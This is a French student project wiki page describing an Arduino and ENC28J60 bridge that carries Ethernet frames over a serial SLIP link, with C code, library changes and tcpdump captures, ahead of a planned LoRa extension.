Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
	enc28j60Write(ERDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	&lt;br /&gt;
	// read the next packet pointer&lt;br /&gt;
	NextPacketPtr = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	NextPacketPtr |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
&lt;br /&gt;
	// read the packet length&lt;br /&gt;
	rcvlen = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rcvlen |= enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	// read the receive status&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
	rxstat = enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0)&amp;lt;&amp;lt;8;&lt;br /&gt;
	&lt;br /&gt;
	return(rcvlen);	&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La seconde fonction permets de lire un seul octet dans un paquet&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
unsigned char enc28j60ByteRead(void)&lt;br /&gt;
{&lt;br /&gt;
&lt;br /&gt;
	return enc28j60ReadOp(ENC28J60_READ_BUF_MEM,0);&lt;br /&gt;
		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La troisième fonction permets de libérer le buffer&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
void enc28j60FreeMemory(void)&lt;br /&gt;
{       &lt;br /&gt;
	// move the RX read pointer to the start of the next received packet&lt;br /&gt;
	// this frees the memory we just read out&lt;br /&gt;
	enc28j60Write(ERXRDPTL, (NextPacketPtr));&lt;br /&gt;
	enc28j60Write(ERXRDPTH, (NextPacketPtr)&amp;gt;&amp;gt;8);&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_BIT_FIELD_SET,ECON2,ECON2_PKTDEC);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc le code principal est&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		//nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive();&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=enc28j60ByteRead(); index_ethernet++;&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else&lt;br /&gt;
		{&lt;br /&gt;
			send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);&lt;br /&gt;
			enc28j60FreeMemory(); &lt;br /&gt;
		}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Avec toutes ces modifications, ces deux cartes Ethernet peuvent communiquer entre eux.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping1.jpg|thumb|upright=1.5|ping]]&lt;br /&gt;
|[[Fichier:tcpdump1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|[[Fichier:communication1.jpg|thumb|upright=1.5|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet+LoRa  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
Pour cette partie, nous essayons de mettre toutes les cartes ensemble: enc28j60+arduino+LoRa. Les paquets que la carte ethernet reçoit doivent être envoyés à LoRa ensuite le LoRa va les envoyer à l'autre LoRa. Une fois que l'autre LoRa reçoit ces données, elles vont être envoyée à la carte ethernet. Le PC pourra traiter des données par la liaison série.&lt;br /&gt;
